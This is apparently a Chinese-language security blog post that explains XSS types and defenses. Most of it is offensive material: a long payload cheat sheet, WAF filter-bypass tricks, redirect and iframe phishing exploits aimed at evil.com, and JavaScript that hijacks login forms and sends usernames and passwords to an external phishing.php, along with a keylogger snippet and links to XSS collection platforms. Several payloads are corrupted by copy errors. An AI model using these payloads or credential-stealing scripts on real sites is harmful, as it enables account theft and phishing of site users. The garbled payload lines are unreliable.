XSS

这篇文章介绍XSS漏洞原理。

1、简述

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、 LiveScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

原理:用户输入的数据当做HTML代码拼接到程序代码中去执行恶意的JS语句,也即是注入

2、分类

反射型(非持久型)XSS存储型(持久型)XSSDOM型XSS通用型XSS突变型XSS

1、反射型XSS

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,只是简单的把用户输入的数据从服务器反射给用户浏览器,hacker可将恶意脚本附加到 URL 地址的参数中。反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗

举例来说,当一个网站的代码中包含类似下面的语句:

1
2
3
<?php 
echo "<p>hello,$_GET['user']</p>";
?>

如果未做防范XSS,用户名设为

1
<script>alert("xss")</script>

则会执行预设好的JavaScript代码。

成因

当用户的输入或者一些用户可控参数未经处理地输出到页面上,就容易产生XSS漏洞,说白了也就是一种注入。主要场景有以下几种:

1
2
3
4
5
6
将不可信数据插入到HTML标签之间时;// 例如div, p, td;
将不可信数据插入到HTML属性里时;// 例如:<div width=$INPUT></div>
将不可信数据插入到SCRIPT里时;// 例如:<script>var message = ” $INPUT “;</script>
还有插入到Style属性里的情况,同样具有一定的危害性;// 例如<span style= property : $INPUT ”></span>
将不可信数据插入到HTML URL里时,// 例如:<a href=”[http://www.abcd.com?param=](http://www.ccc.com/?param=) $INPUT ”></a>
使用富文本时,没有使用XSS规则引擎进行编码过滤。

攻击模型:

反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor(chrome内置的XSS保护)、NoScript等防御手段的影响较大,所以它的危害性较存储型要小。

img

2、存储型XSS

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis,和其他的许多地方。一旦用户访问受感染的页,执行是自动的,恶意脚本存储到客户端或者服务端的数据库中

成因

存储型XSS漏洞的成因与反射型的根源类似,不同的是恶意代码会被保存在服务器中,导致其它用户(前端)和管理员(前后端)在访问资源时也会执行了恶意代码,用户访问服务器-跨站链接-返回跨站代码。

img

3、DOM型XSS

DOM型XSS是基于DOM文档对象模型的。对于浏览器来说,DOM文档就是一份XML文档,当有了这个标准的技术之后,通过JavaScript就可以轻松的访问DOM。当确认客户端代码中有DOM型XSS漏洞时,诱使(钓鱼)一名用户访问自己构造的URL,利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。

对于什么是DOM,k可以看看这篇:

https://blog.csdn.net/m0_68870440/article/details/125427082?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-125427082-blog-125185693.pc_relevant_3mothn_strategy_recovery&spm=1001.2101.3001.4242.1&utm_relevant_index=3

攻击模型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()//xsstest函数
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img
src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>

在这段代码中,submit按钮的onclick事件调用了xsstest()函数。而在xsstest()中,修改了页面的DOM节点,通过innerHTML把一段用户数据当作HTML写入到页面中,造成了DOM Based XSS。

这里不得不说明一下这个:innerHTML是什么:

img通过点击“修改链接”按钮,调用changeLink()方法,使用innerHTML属性,更改(设置)该标签的value为”RUNOOB”,并修改链接目标,作用如下图:

img

img

4、通用型XSS

通用型XSS,也叫做UXSS或者Universal XSS,全称Universal Cross-Site Scripting。

上面三种XSS攻击的是因为客户端或服务端的代码开发不严谨等问题而存在漏洞的目标网站或者应用程序。这些攻击的先决条件是访问页面存在漏洞,但是UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。

成因

Web浏览器是正在使用的最流行的应用程序之一,当一个新漏洞被发现的时候,不管自己利用还是说报告给官方,而这个过程中都有一段不小的时间,这一过程中漏洞都可能被利用于UXSS。

不仅是浏览器本身的漏洞,现在主流浏览器都支持扩展程序的安装,而众多的浏览器扩展程序可能导致带来更多的漏洞和安全问题。因为UXSS攻击不需要网站页面本身存在漏洞,同时可能访问其他安全无漏洞页面,使得UXSS成为XSS里危险和最具破坏性的攻击类型之一。

举例:

IE6或火狐浏览器扩展程序Adobe Acrobat的漏洞

这是一个比较经典的例子。当使用扩展程序时导致错误,使得代码可以执行。这是一个在pdf阅读器中的bug,允许攻击者在客户端执行脚本。构造恶意页面,写入恶意脚本,并利用扩展程序打开pdf时运行代码。tefano Di Paola 和 Giorgio Fedon在一个在Mozilla Firefox浏览器Adobe Reader的插件中可利用的缺陷中第一个记录和描述的UXSS,Adobe插件通过一系列参数允许从外部数据源取数据进行文档表单的填充,如果没有正确的执行,将允许跨站脚本攻击。

Flash Player UXSS 漏洞 – CVE-2011-2107

一个在2011年Flash Player插件(当时的所有版本)中的缺陷使得攻击者通过使用构造的.swf文件,可以访问Gmail设置和添加转发地址。因此攻击者可以收到任意一个被攻破的Gmail帐号的所有邮件副本(发送的时候都会抄送份)。Adobe承认了该漏洞.

案例详见: Flash Player UXSS 漏洞 – CVE-2011-2107报告

移动设备也不例外,而且可以成为XSS攻击的目标。Chrome安卓版存在一个漏洞,允许攻击者将恶意代码注入到Chrome通过Intent对象加载的任意的web页面。

安卓版Chrome浏览器漏洞

5、突变型XSS

突变型XSS,也叫做mXSS或,全称Mutation-based Cross-Site-Scripting。(mutation,突变,来自遗传学的一个单词,大家都知道的基因突变,gene mutation)

成因

如果用户所提供的富文本内容通过javascript代码进入innerHTML属性后,一些意外的变化可能会发生:浏览器的渲染引擎将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。

随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进入innerHTML后发生意外变化,而最终导致XSS的攻击流程我们称为mXSS.

mXSS种类

目前为止已知的mXSS种类,接下来的部分将分别对这几类进行讨论与说明。

1、反引号打破属性边界导致的 mXSS

该类型是最早被发现并利用的一类mXSS,于2007年被提出,随后被有效的修复

2、未知元素中的xmlns属性所导致的mXSS

一些浏览器不支持HTML5的标记,例如IE8,会将article,aside,menu等当作是未知的HTML标签。

3、CSS中反斜线转义导致的mXSS

在CSS中,允许用\来对字符进行转义,例如:property: ‘v\61 lue’ 表示 property:’value’,其中61是字母a的ascii码(16进制)。\后也可以接unicode,例如:\20AC 表示 € 。正常情况下,这种转义不会有问题。但是碰上innerHTML后,一些奇妙的事情就会发生。

4、CSS中双引号实体或转义导致的mXSS

接着上一部分,依然是CSS中所存在的问题," &#x22; &#34; 等双引号的表示形式均可导致这类问题

5、CSS属性名中的转义所导致的mXSS;
6、非HTML文档中的实体突变;
7、 HTML文档中的非HTML上下文的实体突变;

3、XSS攻击代码出现的场景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
普通的XSS JavaScript注入,示例如下:
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

IMG标签XSS使用JavaScript命令,示例如下:
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

IMG标签无分号无引号,示例如下:
<IMG SRC=javascript:alert(‘XSS’)>

IMG标签大小写不敏感,示例如下:
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

HTML编码(必须有分号),示例如下:
<IMG SRC=javascript:alert(“XSS”)>

修正缺陷IMG标签,示例如下:
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

formCharCode标签,示例如下:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

UTF-8的Unicode编码,示例如下:
<IMG SRC=jav..省略..S')>

7位的UTF-8的Unicode编码是没有分号的,示例如下:
<IMG SRC=jav..省略..S')>

十六进制编码也是没有分号,示例如下:
<IMG SRC=\'#\'" /span>

嵌入式标签,将Javascript分开,示例如下:
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

嵌入式编码标签,将Javascript分开,示例如下:
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

嵌入式换行符,示例如下:
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

嵌入式回车,示例如下:
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

嵌入式多行注入JavaScript,这是XSS极端的例子,示例如下:
<IMG SRC=\'#\'" /span>

解决限制字符(要求同页面),示例如下:
<script>z=z+ ’write(“‘</script>
<script>z=z+ ’<script’</script>
<script>z=z+ ’ src=ht’</script>
<script>z=z+ ’tp://ww’</script>
<script>z=z+ ’w.shell’</script>
<script>z=z+ ’.net/1.’</script>
<script>z=z+ ’js></sc’</script>
<script>z=z+ ’ript>”)’</script>
<script>eval_r(z)</script>
空字符,示例如下:
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

空字符2,空字符在国内基本没效果.因为没有地方可以利用,示例如下:
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

Spaces和meta前的IMG标签,示例如下:
<IMG SRC=\'#\'"
javascript:alert(‘XSS’);”>

Non-alpha-non-digit XSS,示例如下:
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>

Non-alpha-non-digit XSS to 2,示例如下:
<BODY onload!#$%&()*~+ -_.,:;?@[/|\]^`=alert(“XSS”)>

Non-alpha-non-digit XSS to 3,示例如下:
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>

双开括号,示例如下:
<<SCRIPT>alert(“XSS”);//<</SCRIPT>

无结束脚本标记(仅火狐等浏览器),示例如下:
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

无结束脚本标记2,示例如下:
<SCRIPT SRC=//3w.org/XSS/xss.js>

半开的HTML/JavaScript XSS,示例如下:
<IMG SRC=\'#\'" /span>

双开角括号,示例如下:
<iframe src=http://3w.org/XSS.html <

无单引号 双引号 分号示例如下
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>

换码过滤的JavaScript,示例如下:
\”;alert(‘XSS’);//

结束Title标签,示例如下:
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

Input Image,示例如下:
<INPUT SRC=\'#\'" /span>

BODY Image,示例如下:
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

BODY标签,示例如下:
<BODY(‘XSS’)>

IMG Dynsrc,示例如下:
<IMG DYNSRC=\'#\'" /span>

IMG Lowsrc,示例如下:
<IMG LOWSRC=\'#\'" /span>

BGSOUND,示例如下:
<BGSOUND SRC=\'#\'" /span>

STYLE sheet,示例如下:
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

远程样式表,示例如下:
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>

List-style-image(列表式),示例如下:
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

IMG VBscript,示例如下:
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS

META链接url,示例如下:
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>

Iframe,示例如下:
<IFRAME SRC=\'#\'" /IFRAME>
Frame,示例如下:
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>

Table,示例如下:
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>

TD,示例如下:
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>

DIV background-image,示例如下:
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279),示例如下:
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

DIV expression,示例如下:
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

STYLE属性分拆表达,示例如下:
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

匿名STYLE(组成:开角号和一个字母开头),示例如下:
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

STYLE background-image,示例如下:
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>

IMG STYLE方式,示例如下:
exppression(alert(“XSS”))’>

STYLE background,示例如下:
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

BASE,示例如下:
<BASE HREF=”javascript:alert(‘XSS’);//”>

2、常用标签触发语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<scirpt>
<scirpt>alert("xss");</script>
<a>
<a href="javascript:alert(`xss`);">xss</a>
<img>
<img src=1 onerror=alert("xss");>
<input>
<input onfocus="alert('xss');">
<details>
<details ontoggle="alert('xss');">
<svg>
<svg onload=alert("xss");>
<select>
<select onfocus=alert(1)></select>
<iframe>
<iframe onload=alert("xss");></iframe>
<video>
<video><source onerror="alert(1)">
<audio>
<audio src=x onerror=alert("xss");>
<body>
<body/onload=alert("xss");>
<textarea>
<textarea onfocus=alert("xss"); autofocus>
<keygen>
<keygen autofocus onfocus=alert(1)>
<marquee>
<marquee onstart=alert("xss")></marquee>
<isindex>
<isindex type=image src=1 onerror=alert("xss")>
<link>
<link rel=import href="http://127.0.0.1/1.js">

2、绕过过滤方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
过滤空格
<img/src="x"/onerror=alert("xss");> #用/代替空格
过滤关键字
<ImG sRc=x onerRor=alert("xss");> #大小写绕过
双写关键字
<imimgg srsrcc=x onerror=alert("xss");> #有些waf可能会只替换一次且是替换为空,这种情况下可以用双写关键字绕过
字符拼接
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<script>top["al"+"ert"](`xss`);</script>
编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;"> #Unicode编码绕过
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> #Unicode编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> #url编码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> #Ascii码绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> #hex绕过
<img src=x onerror=alert('\170\163\163')> #八进制
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> #base64绕过
过滤双引号,单引号
<img src="x" onerror=alert(`xss`);> #如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
过滤括号
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> #当括号被过滤的时候可以使用throw来绕过
过滤url地址
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> #url编码
使用IP
<img src="x" onerror=document.location=`http://2130706433/`> #十进制IP
使用中文逗号代替英文逗号
<img src="x" onerror="document.location=`http://www。baidu。com`"> #如果你在域名中输入中文句号浏览器会自动转化成英文的逗号

4、XSS 钓鱼的方式

水坑攻击(Watering Hole)

“水坑攻击”,黑客攻击方式之一,顾名思义,是在受害者必经之路设置了一个“水坑(陷阱)”。最常见的做法是,黑客分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,先将此网站“攻破”并植入攻击代码,一旦攻击目标访问该网站就会“中招”;其针对的目标多为特定的团体(组织、行业、地区等)

鱼叉式网络钓鱼(Spear phishing )

“鱼叉攻击”是黑客攻击方式之一,最常见的做法是,将木马程序作为电子邮件的附件,并起上一个极具诱惑力的名称,发送给目标电脑,诱使受害者打开附件,从而感染木马

鲸钓攻击(Whaling Attack)

是鱼叉式钓鱼的一种,与CEO欺诈相反。攻击者的目的是高层管理人员,如CEO、CFO等,其目的是诱导高管输入敏感信息和公司数据

CEO欺诈或商务邮件欺诈(BEC)

假装公司的CEO或其他高管,向级别较低的员工(通常是会计或财务部门的员工)发送电子邮件,这些电子邮件的目的是获取商业机密信息或让受害者将资金转移到一个虚假账户

克隆网络钓鱼

利用受害者已经收到的合法信息,仿真创建一个恶意脚本,再以上一封电子邮件的链接有问题为由,要重新发送原始邮件,来诱导用户点击克隆的钓鱼邮件

域欺骗(Pharming)

伪造一个新的电子邮件头,使它看起来像是来自一家合法公司的电子邮件地址。或者创建一个欺诈网站,让它的域名看上去是合法的或与合法公司的域名相似

XSS 重定向钓鱼(XSS Redirect Phishing)

这种钓鱼方式是把当前页面重定向到一个钓鱼网站上。假如 http://www.bug.com 为漏洞网站,那么钓鱼网站 http://www.evil.com就会完全仿冒正常网站的页面内容及行为,从而进行钓鱼等诈骗活动 假设 http://www.bug.com上有一处 XSS: http://www.bug.com/index.php?search=【Expliot】 那么, Exploit 如下: http://www.bug.com/index.php?search=“‘>document.location.href=”http://www.evil.com“ 这样便会让用户从当前访问的网站跳转到钓鱼网站

HTML注入式钓鱼(XSS HTML Inject Phishing)

HTML 注入式钓鱼是指直接利用 XSS 漏洞注射 HTML/JavaScript 代码到页面中 示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
http://www.bug.com/index.php?search=
<html>
<head>
<title>login</title>
</head>
<body>
<div style="text-align: center;">
<form Method="POST" Action="phishing.php" Name="form">
<br/>Username:<br/><input name="Username" />
<br />Password:<br/><input name="Password" type="password" /><br/>
<br /><input name="Valid" value="login" type="submit" /><br/>
</form>
</div>
</body>
</html>

这段代码会构造出一个登录表单,该表单可以覆盖原页面显示,用来窃取用户输入账号和密码等信息

XSS 跨框架钓鱼(Iframe Phishing)

这种方式是通过标签嵌入远程域的一个页面实施钓鱼,利用 Iframe 引用第三方的内容伪造登录控件,此时主页面依然处在正常网站的域名下,因此具有很高的迷惑性 假设有一个 XSS: http://www.bug.com/index.php?search=【Expliot】 那么,Exploit 如下: http://www.bug.com/index.php?search=‘><iframe src=“http://www.evil.com”height=”100%” width=”100%”> Iframe 的效果可以做得很真实,可以跨框架覆盖整个页面

Flash 钓鱼(Flash Phishing)

Flash 钓鱼甚至不要求网站存在 XSS 漏洞,只要攻击者把精心构造的 Flash 文件(比如一个假冒的登录框)上传到远程服务器,然后在目标网站中使用或标签去引用 Flash 即可Flash 本身也存在许多的安全漏洞,包括 XSS、 CSRF 和跨域等问题,而且 Flash 也有内置的编程语言——ActionScript。ActionScript 与JavaScript、服务端编程语言一样都可以作为跨站攻击的一种辅助手段

高级钓鱼技术

黑客利用 XSS 漏洞可以窃取用户会话的 Cookie,从而窃取网站用户的隐私数据,包括 MD5密码信息等。但是,如果网站使用了 Httponly 的 Cookie(将 Cookie 的属性设置为“Httponly”就可防止 Cookie 被恶意 JavaScript 脚本存取),或无法通过 Cookie 欺骗等方式侵入受害者的账户,那么窃取用户 Cookie 方法就显得英雄无用武之地

这种情况下,黑客更青睐于直接获取用户的明文账户密码信息。这时候就要用到一些高级的XSS 钓鱼技术,而构成这些技术的主要元素无非是我们所熟知的JavaScript、Ajax 等 最简单、最直接的实现方法就是注入 JavaScript 脚本代码劫持 HTML 表单和控制 Web 的行为 JavaScript代码:

1
2
3
4
5
6
7
8
9
10
<script> 
Form = document.forms["userslogin"];
Form.onsubmit = function(){
var iframe = document.createElement("iframe");
iframe.style.display = "none";
alert(Form.user.value);
iframe.src = "http://127.0.0.1/phishing.php?user="+Form.user.value + "&pass=" + Form.pass.value;
document.body.appendChild(iframe);
}
</script>

这段代码用来截取用户在登录页面输入的用户名和密码信息,然后提交给当前创建的 PHP脚本 JavaScript代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script> 
loginForm = document.forms[' userslogin '];
function parseData() {
var user = loginForm.user.value;
var pass = loginForm.pass.value;
saveData(username,password); return true;
}
function saveData(username,password) {
var frame=document.createElement('iframe');
frame.src=" http://127.0.0.1/phishing.php?user=" + user + "&pass=" + pass;
frame.style.display='none';
document.body.appendChild(frame);
}
loginForm.onsubmit = parseData;
</script>

如图 2-21 所示,在本地进行测试,用浏览器访问测试页面,然后输入一些信息并提交,处理程序便会获取和记录相关信息,如图 2-22 所示

img

img

劫持链接的 onclick 事件

1
2
3
for(i=0;i<document.links.length;i++){
document.links[i].onclick = hijack;
}

监听键盘 的onkeydown 事件

1
2
3
4
5
6
document.onkeydown=function(e){ 
if(!e)e=window.event;
try{hijack();
}
catch(ex){}
}

JavaScript

键盘记录器捕获用户按下的特定键

1
2
3
4
5
6
7
8
<script> 
function keyDown() {
var keycode = event.keyCode;
var realkey = String.fromCharCode(event.keyCode);
alert("按键码: " + keycode + " 字符: " + realkey);
}
document.onkeydown = keyDown;
</script>

5、危害

1、网络钓鱼、网站挂马、传播跨站脚本蠕虫等
2、盗用cookie,获取敏感信息 强制弹出广告页面、刷流量等
3、进行大量的客户端攻击,如 DDoS 攻击 进行恶意操作,例如任意篡改页面信息、删除文章等
4、获取客户端信息,例如用户的浏览历史、真实 IP、开放端口等
5、劫持用户会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等

6、防御方法

XSS 攻击有两大要素: 1. 攻击者提交恶意代码。 2. 浏览器执行恶意代码。

因此防御方法就由攻击面出发:

1.预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

因此在使用 .innerHTML、.outerHTML、document.write()时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用.textContent、.setAttribute() 等。

DOM 中的内联事件监听器,如 location、onclick、onerror、onload、onmouseover等, 标签的href属性,JavaScript 的eval()、setTimeout()、setInterval()等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易 产生安全隐患,务必避免。

2.输入过滤

如果由前端过滤输入,然后提交到后端的话。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了,因此前端过滤并不可靠。

那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢? 我们举一个例子,一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,变成了 5 $lt; 7。 问题是:在提交阶段,我们并不确定内容要输出到哪里。

这里的“并不确定内容要输出到哪里”有两层含义:

​ 1、用户的输入内容可能同时提供给前端和客户端,而一旦经过了 escapeHTML(),客户端显示的内容就变成了乱码( 5 $lt;7 )。

2、 在前端中,不同的位置所需的编码也不同。 当 5 $lt;7 作为 HTML 拼接页面时,可以正常显示:5 < 7

所以输入过滤非完全可靠,我们就要通过“防止浏览器执行恶意代码”来防范 XSS,可采用下面的两种方法

3.前端渲染分离代码与数据

在前端渲染中,我们明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式 (.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。

​ 1、Javascript:可以使用textContent或者innerText的地方,尽量不使用innerHTML;

​ 2、query:可以使用text()得地方,尽量不使用html();

4.拼接HTML时对其进行转义

如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。

常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > “ ’ / 这几个字符转义掉,确 实能起到一定的 XSS 防护作用,但并不完善:

推荐前端防止XSS攻击的插件: js-xss,Git 3.8K 的Star和60W的周下载量证明了其强大性.

5、一般方法:

过滤危险字符

设置httponly (https://blog.csdn.net/desert3/article/details/83810559?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166761252916782388088132%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=166761252916782388088132&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-83810559-null-null.142^v63^control,201^v3^add_ask,213^v1^t3_control1&utm_term=httponly%E9%98%B2%E6%AD%A2xss&spm=1018.2226.3001.4187

输入内容长度限制

HTML实体编码

7、xss平台搭建

http://xsspt.com(开放注册) https://xss8.cchttp://xss9.com(需要邀请码)

文章作者: uf9n1x
文章链接: https://uf9n1x.top/2023/04/16/xss/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Uf9n1x's Blog